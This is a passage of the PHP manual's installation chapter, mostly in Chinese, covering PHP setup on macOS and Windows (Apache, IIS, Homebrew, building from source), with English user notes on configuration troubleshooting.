sudo tasksel install lamp-server

Details:
https://help.ubuntu.com/community/ApacheMySQLPHP
tranzbit at yahoo dot com 02-May-2009 01:59
On Ubuntu:

sudo apt-get install apache2 php5 mysql-client-5.0 mysql-server-5.0 phpmyadmin libapache2-mod-php5 libapache2-mod-auth-mysql php5-mysql

then restart the computer/start mysql manually
From:
http://ubuntuforums.org/showthread.php?t=186492
John Fisher 08-Feb-2007 04:53
With Apache2 and Php4 under Debian Sarge there is an extra configuration file :  /etc/apache2/sites-available/default
This file is not clearly documented, at least not for noobs, in Apache docs.

It overrides the conf file in the way you expect the /etc/apache2/conf.d/apache2-doc  to do according to the README.

Add ExecCGI to it to get rid of "Options ExecCGI is off in this directory"  errors.


macOS 系统下的安装

Table of Contents

  • 使用软件包
  • 使用 macOS Monterey 之前内置的 PHP
  • 在 macOS 下编译 PHP

本章包括在 macOS 平台下安装 PHP 的说明和提示。 PHP 从 macOS X (10.0.0) 到 macOS Monterey (12.0.0) 之前都内置 PHP。 编译跟 Unix 安装教程 相似。

User Contributed Notes

There are no user contributed notes for this page.


使用软件包

macOS 下有几个预编译和打包的 PHP 版本。可以通过它使用标准的配置的 PHP，但是若需要不同的功能集（比如一个安全服务器，或者一个不同的数据库驱动程序），可能需要自己编译 PHP 和／或 web 服务器。如果不熟悉如何自己编译软件，可以试着找一下包含自己所需功能的 PHP 预编译版本。

在 macOS 上安装 PHP 最简便的方式是用 homebrew：

  1. 安装 homebrew：参考 » brew.sh 上的说明

  2. brew install php

下面可选资源提供了在 macOS 上易于安装的软件包和预编译的二进制 PHP。

  • MacPorts: » http://www.macports.org/
  • Liip: » http://php-osx.liip.ch/ (PHP 5.3 - PHP 7.3; 已废弃)
  • Fink: » http://www.finkproject.org/

User Contributed Notes

There are no user contributed notes for this page.


使用 macOS Monterey 之前内置的 PHP

PHP 从 macOS X（10.0.0）开始，到 macOS Monterey（12.0.0）之前内置到系统中。在默认的 web 服务器中启用 PHP，只需将 Apache 配置文件 httpd.conf 中的几行配置指令最前面的注释符号去掉，而 CGI 或 CLI 默认都可使用（可以很容易的被终端程序使用）。

按照以下的使用说明，可以快速的建立一个本地 PHP 开发环境。强烈建议将 PHP 升级到最新的版本。在大多数活跃的软件中， 新的版本会修复错误和添加新的功能，PHP 也是如此。请参见相应的 macOS 安装文档，以进一步了解详细的信息。以下的说明以初学者的角度来详细描述如何操作来得到一个缺省的运行环境。建议所有的用户都编译或者安装一个新的打包版本。

标准的安装类型为 mod_php，在 macOS 的 Apache web 服务器（默认 web 服务器，可以从系统设置中访问）中启用 PHP 包含以下的步骤：

  1. 找到并打开Apache的配置文件。默认情况下，这个配置文件的位置是： /private/etc/apache2/httpd.conf。 使用 Finder 或者 Spotlight 来找到这个文件可能不是很容易的事情，因为在默认情况下它一般是 root 用户拥有所有权的私有文件。

    Note: 要打开这个文件，可以在命令行下面使用基于 Unix 的文本编辑器，例如 nano，因为他的属主是 root，所以我们需要使用 sudo 来打开（以 root 用户权限）。例如我们在 Terminal 程序中敲入下面的指令（操作后，会提示输入密码）：sudo nano /private/etc/apache2/httpd.conf 注意 nano 中的命令：^w（搜索），^o（保存），以及 ^x（退出）。^ 表示 Ctrl 键。

    Note: 在 Mac OS X 10.5之前的版本中捆绑的是旧版本的 PHP 和 Apache。因此在旧的计算机中 Apache 配置文件的位置可能是 /etc/httpd/httpd.conf。

  2. 使用文本的编辑器取消注释（删除前面的 #）看起来类似于下面的行（这两行常常不在一起，需要在文件中找到这两行）：

    # LoadModule php5_module libexec/httpd/libphp5.so

# AddModule mod_php5.c
    注意位置／路径。如果在以后重新编译了 PHP，以上文件应被更换或者注释掉。

  3. 确保将所需要的文件扩展名解析为 PHP（例如：.php .html 以及 .inc），否则不能正常运行。

    由于以下的配置已经写入 httpd.conf（自 Mac Panther 版起），一旦 PHP 被启用则 .php 文件会被自动解析为 PHP 脚本。

    <IfModule mod_php5.c>
    # If php is turned on, we respect .php and .phps files.
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps

    # Since most users will want index.php to work we
    # also automatically enable index.php
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>

    Note:

    在 Mac OS X 10.5（Leopard）以前版本中，捆绑的是 PHP 4 而不是 PHP 5，因此上面的配置指令稍有不同，需要将 5 更改为 4。

  4. 确保 DirectoryIndex 加载了所需的默认索引文件。 这个也是在 httpd.conf 中设置的。 通常情况下使用 index.php 和 index.html 。默认情况下 index.php 会被启用，因为在我们上面的配置指令中写明了。根据实际情况可以做相应的调整。
  5. 设置 php.ini 的位置或者使用默认的位置。 macOS 上通常默认的位置是 /usr/local/php/php.ini ，调用 phpinfo() 也可以得到此信息。如果没有使用 php.ini，PHP 将使用所有的默认值。参见常见问题中的寻找 php.ini。
  6. 定位或者设置 DocumentRoot。 这是网站所有文件的根目录。此目录中的文件由 web 服务器提供服务，从而使得 PHP 文件将在输出到浏览器之前解析为 PHP 脚本。通常情况下默认的路径是 /Library/WebServer/Documents，但是可以根据需要在 httpd.conf中设置为任何其他目录。另外，用户自己的缺省 DocumentRoot 是 /Users/yourusername/Sites。
  7. 创建一个 phpinfo() 文件。

    phpinfo() 将会显示PHP的相关系统信息。可以在 DocumentRoot 下创建一个 PHP 文件，其代码如下：

    <?php phpinfo(); ?>

  8. 重启 Apache，然后从浏览器访问上面创建的文件。

    要重启Apache，可以在 shell 中执行 sudo apachectl graceful，也可以停止/启动 macOS 系统首选项中的"Personal Web Server"选项。默认情况下，从浏览器访问本地文件的 URL 一般类似于：http://localhost/info.php，或者使用：http://localhost/~yourusername/info.php 来访问用户自己 DocumentRoot 中的文件。

CLI（或者旧版本中的 CGI）一般文件名为 php ，其路径可能是 /usr/bin/php。打开一个终端，参考 PHP 手册中的 PHP 的命令行模式一章，然后执行 php -v 可以检查当前运行的 PHP 的版本。调用 phpinfo() 也会显示相关的信息。

User Contributed Notes

10086 at xiaoi dot me 10-Jun-2019 09:54
setup apache + php environment on macOS 10.12.6

step 1:  start httpd by apachectl
 > sudo apachectl start

step 2: find httpd.conf
 > sudo apachectl -t -D DUMP_INCLUDES

step 3: edit conf, eg: /opt/local/etc/apache2/httpd.conf
 > sudo vim  /opt/local/etc/apache2/httpd.conf

step 4: Load php module before <IfModule unixd_module>, eg:
```
LoadModule php5_module /usr/libexec/apache2/libphp5.so
<IfModule unixd_module>
```

step 5: add mod_php5.c end of httpd.conf
```
<IfModule mod_php5.c>
    AddType application/x-httpd-php .php
    AddType application/x-httpd-php-source .phps
    <IfModule mod_dir.c>
        DirectoryIndex index.html index.php
    </IfModule>
</IfModule>
```

step 6: save and quit
step 7: restart httpd
 > sudo apachectl restart

step 8: write demo.php , test configuration
```
<?php
    phpinfo();
?>
```

step 9: copy demo.php to "DocumentRoot", you can find by httpd.conf

step 10: visit demo.php

all done.
Anonymous 15-Nov-2008 02:36
You only have to uncomment:
#LoadModule php5_module        libexec/apache2/libphp5.so

This is gone:
# AddModule mod_php5.c

The statement in 3 was changed to:
<IfModule mime_module>
    #
    # TypesConfig points to the file containing the list of mappings from
    # filename extension to MIME-type.
    #
    TypesConfig /private/etc/apache2/mime.types

    #
    # AddType allows you to add to or override the MIME configuration
    # file specified in TypesConfig for specific file types.
    #
    #AddType application/x-gzip .tgz
    #
    # AddEncoding allows you to have certain browsers uncompress
    # information on the fly. Note: Not all browsers support this.
    #
    #AddEncoding x-compress .Z
    #AddEncoding x-gzip .gz .tgz
    #
    # If the AddEncoding directives above are commented-out, then you
    # probably should define those extensions to indicate media types:
    #
    AddType application/x-compress .Z
    AddType application/x-gzip .gz .tgz

    #
    # AddHandler allows you to map certain file extensions to "handlers":
    # actions unrelated to filetype. These can be either built into the server
    # or added with the Action directive (see below)
    #
    # To use CGI scripts outside of ScriptAliased directories:
    # (You will also need to add "ExecCGI" to the "Options" directive.)
    #
    #AddHandler cgi-script .cgi

    # For type maps (negotiated resources):
    #AddHandler type-map var

    #
    # Filters allow you to process content before it is sent to the client.
    #
    # To parse .shtml files for server-side includes (SSI):
    # (You will also need to add "Includes" to the "Options" directive.)
    #
    #AddType text/html .shtml
    #AddOutputFilter INCLUDES .shtml
</IfModule>

Extra MIME types can either be added to the file /private/etc/apache2/mime.types or by using an AddType directive as commented on above.


在 macOS 下编译 PHP

参考 Unix 系统下的安装以在 macOS下编译 PHP。

User Contributed Notes

There are no user contributed notes for this page.


Windows 系统下的安装

Table of Contents

  • 环境要求
  • PECL
  • Windows 下的 PHP 安装程序工具
  • Windows 系统下的推荐配置
  • 在 Windows 上手动安装 PHP
  • 从源程序编译
  • PHP 在 Microsoft Windows 下的命令行方式
  • Microsoft Windows 下的 Apache 2.x
  • Windows 下 PHP 故障排除

在微软 Windows 系统上安装 PHP，并推荐使用常见的 Web 服务器进行配置。

PHP 在 Windows 上的官方版本被推荐用于生产环境。如果有需要，你也可以从源码中构建 PHP。你需要一个 Visual Studio 环境。请参阅 » 从源码构建 章节。

  • 在 Windows 命令行使用 PHP

  • 在 Azure 上安装 PHP 服务 (又称 Microsoft Azure、Windows Azure 或 (Windows) Azure Web 应用)。

User Contributed Notes

bufoni at hotmail dot com 17-Sep-2009 07:49
Oh Man!

I installed by Microsoft Installer, manually, whatever I always received de same error from IIS7.

HTTP Error 404.3 - Not Found
The page you are requesting cannot be served because of the extension configuration. If the page is a script, add a handler. If the file should be downloaded, add a MIME map.

The IIS7 interface is quite diferent and are not all together like IIS6

The 5.3 version have not any of those files: php5stdll, php5isapi.dll. etc.

The installer puts others files in handlers and I decided to use them as substitutes. Nothing done!

After that, I discovered that installer do not install these files within the sites, but in the root default site configuration of IIS7.

So, I copied the root configuration to my site and them it worked (all others procedures were done e.g. copy php.ini to windows folder)
dpharshman at dslextreme dot com 16-May-2009 05:52
PHP 5.2.9.2 Install on XP Pro IIS 5.1 - phpinfo( ) results incorrect

Testing Date:  05.15.09

Background:
For several days now I, as a newbie, have been unsure if I had installed PHP correctly, or not.  No matter what I did phpinfo( ) reported "Configuratin File Path" as:  "C:\WINDOWS".  I was left to wonder what was wrong.

To help resolve the phpinfo() "issue", I conducted a series of tests using two scripts:

The first is "test-php-ini-loaded.php"; it is stored in c:\inetpub\wwwroot, and has the following code:

    <?php
    $inipath = php_ini_loaded_file();

    if ($inipath) {
        echo 'Loaded php.ini: ' . $inipath;
    } else {
        echo 'A php.ini file is not loaded';
    }
    ?>

The second script is simply calls phpinfo( ).  It is named test.php, is stored in "c:\inetpub\wwroot",  and has the following code:

    <?php phpinfo( ); ?>

My Dev Environment:
1. Windows XP Pro SP3
2. IIS 5.1 / MMC 3.0
3. PHP 5.2.9.2 - phpMyAdmin not yet installed
4. (plus MySQL 5.1, etc.)
5. Install location is on my local E: drive

The Tests:

Test 1:
a. PHPRC environment variable and IniFilePath Registry left in place and active
b. Verified no other copies of php.ini exist on the system other than in my E:\PHP folder
c. Renamed php.ini to hold-php.ini
d. Stopped and started IIS ("net stop iisadmin" and "net start w3svc")
e. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  It is not.
f. Ran "test.php".  "Loaded Configuration File" was empty, while "Configuration File (php.ini) Path" showed:  C:\WINDOWS.

Test 2:
a. Moved php.ini from E:\PHP to C:\WINDOWS
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check if my php.ini is loaded.  It is not, which surprised me.
d. Ran "test.php".  My php.ini is apparently not loaded, or found, by phpinfo( ), even though "Configuration File (php.ini) Path" reports it as being in C:\WINDOWS.
e. Note:  Per PHP's "The configuration file" note, PHP's search order includes:  "Windows directory (C:\windows or C:\winnt) (for Windows), ..."; but it apparently doesn't or php.ini would have been found and displayed at "Loaded Configuration File".

Test 3:
a. Left the solo copy of my php.ini in C:\WINDOWS
b. Disabled PHPRC environment variable by renaming it to "Ex-PHPRC and saving the settings (note: for this test  I left the Registry entry for PHP IniFilePath intact)
c. Stopped and started IIS
d. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not found.
e. Ran the "test.php".  Again, my php.ini file is reported as not found in C:\WINDOWS though "Configuration File (php.ini) Path" reports it as being there.

Test 4:
a. To be thorough and eliminate all possible sources of "mis-direction" I deleted the PHP IniFilePath Registry entry (after backing up the Registry).  The PHPRC environment variable was left disabled.
b. Stopped and started IIS
c. Ran "test-php-ini-loaded.php" to check whether my php.ini is loaded.  Predictably it is not.
d. Ran "test.php".  Again, no change.  My php.ini file is not found "Configuration File (php.ini) Path" reports it as being there.

Conclusions:
The first conclusion I came to is that, in the default download version of phpinfo( ), "Configuration File (php.ini) Path" is hard-wired to report C:\WINDOWS whether php.ini is there or not.  Further, that C:\WINDOWS is not a default search location (at least not on XP).

However, given an otherwise "proper" setup, phpinfo() reporting C:\WINDOWS as the value for "Configuration File (php.ini) Path" is merely misleading and is not actually harmful or indicative of a failed installation.

Thanks go to Peter Guy of www.peterguy.com who suggested the testing, and to Daniel Brown of www.php.net for some initial guidance.

P.S.  This note is not meant to take anything away from PHP.  It is a fine tool.  The sole purpose of the testing was to confirm that my installation of PHP was correct.
smileclick at hotmail dot com 23-Dec-2007 07:02
Still Can't Run PHP Code?

After installing php-5.2.5-win32-installer.msi on my Windows XP2. with IIS5.1 it still didn't run PHP files.

I eventually found the fix*:

1. Goto Control Panel>System>Advanced>Environmental Variables
2. Add a New System Variable "PHRC" and set its path as "C:\Program Files\PHP"
3. Restart

*source:
http://us2.php.net/manual/en/faq.installation.php
#faq.installation.addtopath
robert dot johnson at icap dot com 13-Dec-2007 07:19
IIS setup: 403 forbidden error.

We had installed two separate different PHP versions - PHP 5.1.4 followed by 5.2.5.

We configured 5.2.5 php5isapi.dll to be loaded as the .php file type extension.

Despite this, php version 5.1.4 was being loaded.  We renamed 5.1.4's folder and then PHP was not loading at all.

There were no visible references to 5.1.4 in the IIS configuration, but in the file \webConfig.xml, there was a reference to 5.1.4's isapi under IISFilters.

To fix this problem, we added version 5.2.5's php5isapi.dll to the ISAPI Filter category for the web site, in the IIS control panel.
Jack Hardie 08-Sep-2007 02:33
If you are installing PHP on Vista just go to David Wang's blog. http://blogs.msdn.com/david.wang/
archive/2006/06/21/HOWTO-Install-and-Run-PHP-on-IIS7-Part-2.aspx

Magic!
jneill at gamedaytv dot com 08-Nov-2006 05:36
Here's how to run dual PHP instances with PHP 5.2 and any previous PHP on Windows 2003:

1. Right-click My Computer, go to Advanced tab, and click on Environment Variables.

Add the two installations and their EXT directories to the Path variable. For example, add:
c:\php;c:\php\ext;c:\TMAS\php;c:\tmas\php\ext;

Then, add the newer PHP version's directory as a variable called PHPRC. For example:
Variable:PHPRC
Value: C:\PHP

Click OK to close the Environment Variables window, and click OK to close System Properties.

2. In registry, under HKEY_LOCAL_MACHINE>SOFTWARE>PHP, add a REG_SZ key called iniFilePath and give it a value
of the directory where the older PHP is installed. For example:
C:\TMAS\PHP

3. In IIS, go to the Web Service Extensions. Add both versions' ISAPI module separately to the extensions
list, and allow both.

4. In IIS, go to each website utilizing the PHP versions. Set an ISAPI filter if needed. On the Home Directory
tab, click Configuration, and add .php, .php3, .phtml, and any other extensions needed (perhaps .html?) to
be filtered through PHP, and specify the ISAPI module version needed for each website.

You can now run two versions of PHP. This is because the order of where to look for the .ini file changed
between previous PHP versions and PHP 5.2, as documented at http://us2.php.net/ini:

---------------------------------------------------
 php.ini is searched in these locations (in order):

    * SAPI module specific location (PHPIniDir directive in Apache 2, -c command line option in CGI and CLI, php_ini parameter in NSAPI, PHP_INI_PATH environment variable in THTTPD)
    * The PHPRC environment variable. Before PHP 5.2.0 this was checked after the registry key mentioned below.
    * HKEY_LOCAL_MACHINE\SOFTWARE\PHP\IniFilePath (Windows Registry location)
    * Current working directory (for CLI)
    * The web server's directory (for SAPI modules), or directory of PHP (otherwise in Windows)
    * Windows directory (C:\windows or C:\winnt) (for Windows), or --with-config-file-path compile time option
----------------------------------------------------
webmaster at nachelfamily dot com 07-Nov-2006 05:13
I made the mistake of setting a 'wildcard application map' for PHP on a Windows 2003 / IIS 6.0 / PHP ISAPI installation.

This resulted in "No input file specified" errors whenever I tried to load the default page in my site's directories.  I don't know why this broke things, but it did.

If anyone has the same problem, this may be the cause.
SmugWimp at smugwimp dot com 20-Apr-2006 02:29
If you make changes to your PHP.ini file, consider the following.

(I'm running IIS5 on W2K server. I don't know about 2K3)

PHP will not "take" the changes until the webserver is restarted, and that doesn't mean through the MMC.  Usually folks just reboot. But you can also use the following commands, for a much faster "turnaround".  At a command line prompt, type:

iisreset /stop

and that will stop the webserver service.  Then type:

net start w3svc

and that will start the webserver service again.  MUCH faster than a reboot, and you can check your changes faster as a result with the old:

<?php>
phpinfo();
?>

in your page somewhere.

I wish I could remember where I read this tip; it isn't anything I came up with...
ratkinson at tbs-ltd dot co dot uk 04-Apr-2006 05:28
When installing onto the Windows IIS platform, ensure you add the PHPRC Server Variable to point to your PHP.INI file.

Also, add '.INI' to the FILEEXT Server Variable. Failure to add these could stop the PHP engine being able to find your PHP.INI file, and none of your modifications will be read.

Rob.
lukasz at szostak dot biz 15-Jan-2006 07:50
You can have multiple versions of PHP running on the same Apache server. I have seen many different solutions pointing at achieving this, but most of them required installing additional instances of Apache, redirecting ports/hosts, etc., which was not satisfying for me.
Finally, I have come up with the simplest solution I've seen so far, limited to reconfiguring Apache's httpd.conf.

My goal is to have PHP5 as the default scripting language for .php files in my DocumentRoot (which is in my case d:/htdocs), and PHP4 for specified DocumentRoot subdirectories.

Here it is (Apache's httpd.conf contents):

---------------------------
# replace with your PHP4 directory
ScriptAlias /php4/ "c:/usr/php4/"
# replace with your PHP5 directory
ScriptAlias /php5/ "c:/usr/php5/"

AddType application/x-httpd-php .php
Action application/x-httpd-php "/php5/php-cgi.exe"

# populate this for every directory with PHP4 code
<Directory "d:/htdocs/some_subdir">
    Action application/x-httpd-php "/php4/php.exe"
    # directory where your PHP4 php.ini file is located at
    SetEnv PHPRC "c:/usr/php4"
</Directory>

# remember to put this section below the above
<Directory "d:/htdocs">
    # directory where your PHP5 php.ini file is located at
    SetEnv PHPRC "c:/usr/php5"
</Directory>
---------------------------

This solution is not limited to having only two parallel versions of PHP. You can play with httpd.conf contents to have as many PHP versions configured as you want.
You can also use multiple php.ini configuration files for the same PHP version (but for different DocumentRoot subfolders), which might be useful in some cases.

Remember to put your php.ini files in directories specified in lines "SetEnv PHPRC...", and make sure that there's no php.ini files in other directories (such as c:\windows in Windows).

And finally, as you can see, I run PHP in CGI mode. This has its advantages and limitations. If you have to run PHP as Apache module, then... sorry - you have to use other solution (the best advice as always is: Google it!).

Hope this helps someone.
jp at iticonsulting dot nl 23-Jul-2005 09:42
If you get 404 page not found on Windows/IIS5, have a look at C:\SYSTEM32\INETSRV\URLSCAN

There is a .ini file there that prevents some files from being served by IIS, even if they exist, instead IIS will give a 404. The urlscan logfile (same place) should give you some insight into what parameter is preventing a page from loading, if any.
Feroz Zahid 08-Jun-2005 01:41
In order to run php scripts with php.exe CGI instead of php4isapi.dll under IIS, following steps can be followed.

i) Add a web service extension for PHP using IIS manager. Choose a web service extension name like 'PHP' and add your php.exe path in the 'file location' while adding the required file e.g. 'C:\php\php.exe' in the Add extension dialog box. Don't forget to 'Allow' the extension file.

ii) Open php.ini file located at %systemroot%. Set the following variables to the shown values.

cgi.force_redirect = 0
cgi.redirect_status_env = ENV_VAR_NAME

iii) In your websites, add Application Mapping for '.php' and set the executable path to your php.exe file path.

You can test whether PHP is running or not and other PHP settings using the following simple PHP script.

<?php>
phpinfo();
?>

Feroz Zahid
ferozzahid [_at_] usa [_dot_] [_com_]


环境要求

PHP 至少需要 Windows 2008/Vista。 32 位或 64 位（也就是 X86 或 X64。PHP 不能在 Windows RT/WOA/ARM上运行）。 自 PHP 7.2.0 起，不再支持 Windows 2008 和 Vista。

PHP 需要 Visual C 运行时（CRT）。许多应用程序需要它，所以它可能已经被安装。

微软的开发环境 Visual Studio 2019 包含了编译 PHP 的全部环境要求，请参阅 » https://visualstudio.microsoft.com/downloads/ 。

你需要下载 x86 版本的 CRT 来编译 x86 版本的 PHP。同理，编译 x64 版本的 PHP 需要 x64 版本的 CRT。

如果系统已经安装了 CRT，安装程序会提示你，而不会改变任何东西。

CRT 安装程序支持 /quiet 和 /norestart 命令行开关，所以你可以用脚本运行它。

User Contributed Notes

There are no user contributed notes for this page.


PECL

PECL 扩展在 Windows 版本中是预编译的，可从以下网站获得 » http://windows.php.net/downloads/pecl/releases/

某些扩展使用了某些 Unix 系统所特有的功能，因此在 Windows 上不可用。除此之外，所有的扩展都可以在 Windows 上使用。

User Contributed Notes

There are no user contributed notes for this page.


Windows 下的 PHP 安装程序工具

PHP 安装工具

Windows 下使用 Apache 安装 PHP 应用程序： » XAMPP 、WampServer 和 BitNami。

在 Windows 上设置和配置 Nginx 需要更多的配置。 参见 » Nginx文档 来获取更多的设置帮助。

User Contributed Notes

Arthur 09-Oct-2023 02:29
Highly suggest installing winget from the Windows Store (Called "App Installer" there) and using `winget install php` from the terminal. Easiest way in my opinion
karlcoupons127 at gmail dot com 21-Jun-2023 10:40
I had success installing PHP on windows with chocolatey, the package manager for windows. As of this comment, the version choco provided was 8.2.7, which is the latest.

One command from an elevated powershell: 'choco install php'

https://community.chocolatey.org/packages/php
v4ri4bl3 at gmail dot com 10-Jun-2022 01:32
Install using Windows Terminal (or PowerShell):

  > winget install xampp


Windows 系统下的推荐配置

OpCache

强烈建议开启 OpCache。 此扩展默认已经包含到 PHP Windows 版本中。 它会自动编译和优化 PHP 脚本，并将它们缓存在内存中， 这样就不会在每次加载页面时动态编译它们。

在 php.ini 配置中，设置

Example #1 推荐的 OpCache 配置

opcache.enable=On
opcache.enable_cli=On
然后重新启动你的 WEB 服务器。更多信息，请参阅：OpCache 配置 章节。

WinCache

WinCache 推荐在 IIS 下使用，尤其是在共享虚拟主机环境中或使用网络文件存储（NAS）时。 所有PHP 应用程序都会自动受益于 WinCache 的文件缓存功能。文件系统操作被缓存在内存中。 WinCache 还可以缓存内存中的用户对象，并在 php.exe 或 php-cgi.exe 进程之间共享它们（在请求之间共享对象）。许多主流的 Web应用程序都有一个插件或扩展或配置选项来使用 WinCache 用户对象缓存。如果你需要高性能，你应该在你的应用程序中使用对象缓存。 请参阅：» http://pecl.php.net/package/WinCache 下载 WinCache DLL（或 tgz ）到你的 PHP 扩展目录（ php.ini 中的 extensions_dir ）。 在 php.ini 配置中，设置

Example #2 推荐的 WinCache 配置

extension=php_wincache.dll
wincache.fcenabled=1
wincache.ocenabled=1 ; removed as of wincache 2.0.0.0
更多信息，请参阅： » http://php.net/manual/en/wincache.configuration.php

IIS 配置

在 IIS 管理器中，安装 FastCGI 模块，并将 `.php` 后缀映射到 PHP-CGI.exe 文件的真实路径 (注意：不是 PHP.exe)

你可以使用 APPCMD 命令行工具来编写 IIS 配置脚本。

数据库

如果你需要一个数据库服务器，PHP 提供了对应的扩展来使用它们。 如果你的网站没有太多的流量， 你可以将数据库服务器与你的 Web 服务器运行在同一台服务器上。 世面上流行的数据库，基本都会提供运行在 Windows 上的版本。

PHP 内置了 mysqli 和 pdo_mysql 扩展。

参见 » https://dev.mysql.com/downloads/windows/

User Contributed Notes

There are no user contributed notes for this page.


在 Windows 上手动安装 PHP

选择 Web 服务器

IIS

IIS 是 Windows 内置的服务。在 Windows 服务器版本上，请使用服务器管理（Server Manager）来添加 IIS 规则。同时需要设置 CGI 角色规则。在 Windows 桌面版本上，需要使用控制面板中的 "添加/删除程序" 功能来添加 IIS。请参阅微软的官方文档的 » 详细说明。 对于桌面 web app 开发者，你也可以选择 IIS/Express 或 PHP Desktop。

Example #1 命令行下配置 IIS 和 PHP

@echo off

REM download .ZIP file of PHP build from http://windows.php.net/downloads/

REM path to directory you decompressed PHP .ZIP file into (no trailing \)
set phppath=c:\php

REM Clear current PHP handlers
%windir%\system32\inetsrv\appcmd clear config /section:system.webServer/fastCGI
REM The following command will generate an error message if PHP is not installed. This can be ignored.
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /-[name='PHP_via_FastCGI']

REM Set up the PHP handler
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/fastCGI /+[fullPath='%phppath%\php-cgi.exe']
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /+[name='PHP_via_FastCGI',path='*.php',verb='*',modules='FastCgiModule',scriptProcessor='%phppath%\php-cgi.exe',resourceType='Unspecified']
%windir%\system32\inetsrv\appcmd set config /section:system.webServer/handlers /accessPolicy:Read,Script

REM Configure FastCGI Variables
%windir%\system32\inetsrv\appcmd set config -section:system.webServer/fastCgi /[fullPath='%phppath%\php-cgi.exe'].instanceMaxRequests:10000
%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi /+"[fullPath='%phppath%\php-cgi.exe'].environmentVariables.[name='PHP_FCGI_MAX_REQUESTS',value='10000']"
%windir%\system32\inetsrv\appcmd.exe set config -section:system.webServer/fastCgi /+"[fullPath='%phppath%\php-cgi.exe'].environmentVariables.[name='PHPRC',value='%phppath%\php.ini']"

Apache

有几个用于 Windows 的 Apache 版本。 推荐 ApacheLounge 编译的 Apache，但是其他选项（比如 XAMPP、 WampServer、 BitNami）提供了自动安装工具。 PHP 可以在带有 mod_php 或者 mod_fastcgi 的 Apache 上使用。 mod_php 需要使用相同版本的 Visual C 和 相同的 CPU （x86 或 x64） 编译的 Apache TS 版本。

选择编译版本

从 Windows 专用站点下载适合产品环境使用的 PHP 预编译版本： » http://windows.php.net/download/。 所有的编译都经过优化（PGO），并且 QA 和 GA版本都经过彻底测试。

PHP 编译版本有四种类型：

  • Thread-Safe(TS) - 线程安全，用于单进程 web 服务器，例如带有 mod_php 的 Apache

  • Non-Thread-Safe(NTS) - 非线程安全，用于 IIS 和其他 FastCGI web 服务器（使用带有 mod_fastcgi 的 Apache），并且推荐命令行脚本也用此版本

  • x86 - 用于 32 位系统。

  • x64 - 用于 64 位系统。

User Contributed Notes

klaussantana at gmail dot com 31-Jan-2021 03:34
If you're installing PHP 8.0.1 as Apache http server module, in httpd.conf you must use "php_module" in "LoadModule" directive instead of versioned names like in previous versions (aka, php5_module, php7_module, ...). Make the directive as follow:

LoadModule php_module "/path/to/php8apache2_4.dll"

I cracked my head over this...


从源程序编译

本章讲述了在 Windows 下如何使用 Microsoft 的工具编译 PHP。要在 CygWin 中编译 PHP，请参考 Unix 系统下的安装 一章。

具体内容见：» https://wiki.php.net/internals/windows/stepbystepbuild。

User Contributed Notes

mail at tonywilk dot co dot uk 08-Jan-2014 06:03
Building PHP on Windows 7 with Visual Studio 2010 installed...
- this differs slightly from the stepbystepbuild info and it worked for me :)

0. make a directory and unpack both of these into it:
      php-5.4.23-src.zip  (should have a win32 directory in it)
      php-sdk-binary-tools-20110915
1. Run Visual Studio 2010 command prompt
2. CD to your php source root directory
3. set mc="C:\Program Files (x86)\Microsoft SDKs\Windows\v7.0A\Bin\mc"    - or wherever it is on your machine
4. vcvars32
5. set path=your_php_source_directory\bin;%PATH%
6. buildconf
7. configure --help
     this gets you a list of all the options, then... (e.g.)
8. configure --disable-all --enable-cgi --with-sqlite3
9. nmake
10. results should be in Release_TS
       in this example, all we need is php-cgi.exe and php5ts.dll
buda 15-Nov-2011 02:10
Using --enable-snapshot-build when setting the configure command requires you to also set --disable-static-analyze (Win7 64Bit, VC9 Express, SDK 6.1) for otherwise you will run into a fatal compiler error "C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\Include\tchar.h(1659) : fa
tal error C1001: Interner Compilerfehler.
(Compilerdatei "msc1ast.cpp", Zeile 1411)"
(see also https://bugs.php.net/bug.php?id=55779)
Joel Low 27-Feb-2010 02:12
To build everything in the distribution, pass --enable-snapshot-build to configure.js. In addition, you may like to use "snap" as the nmake target. If you intend to build the PHP Windows Installer, WiX source files can be obtained from http://svn.php.net/repository/php/win-installer/.
michal dot kocarek at brainbox dot cz 17-Aug-2009 11:10
PHP extensions can be compiled statically or shared.

- Shared compilation creates a well-known php_*.dll file.
- Static compilation puts the extension directly into PHP (therefore it does not need to be loaded and cannot be unloaded)

You can switch whether to compile given extension statically or as library by adding =static or =shared to the extension in configure.js command during the compilation.

configure --enable-http=static --with-openssl=shared
// http extension will be included in PHP
// openssl extension will be compiled as separate DLL
Bas van Beek 12-Mar-2009 06:50
If trying to compile the code (Windows XP, SDK v6.1) and you get the following types of errors:

c:\phpdev\php-5.2.9\main\php_network.h(128) : warning C4005: 'POLLIN' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1495) :
see previous definition of 'POLLIN'
c:\phpdev\php-5.2.9\main\php_network.h(129) : warning C4005: 'POLLPRI' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1496) :
see previous definition of 'POLLPRI'
c:\phpdev\php-5.2.9\main\php_network.h(130) : warning C4005: 'POLLOUT' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1499) :
see previous definition of 'POLLOUT'
c:\phpdev\php-5.2.9\main\php_network.h(131) : warning C4005: 'POLLERR' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1502) :
see previous definition of 'POLLERR'
c:\phpdev\php-5.2.9\main\php_network.h(132) : warning C4005: 'POLLHUP' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1503) :
see previous definition of 'POLLHUP'
c:\phpdev\php-5.2.9\main\php_network.h(133) : warning C4005: 'POLLNVAL' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1504) :
see previous definition of 'POLLNVAL'
NMAKE : fatal error U1077: '"C:\Program Files\Microsoft Visual Studio 9.0\VC\BIN
\cl.exe"' : return code '0x2'
Stop.

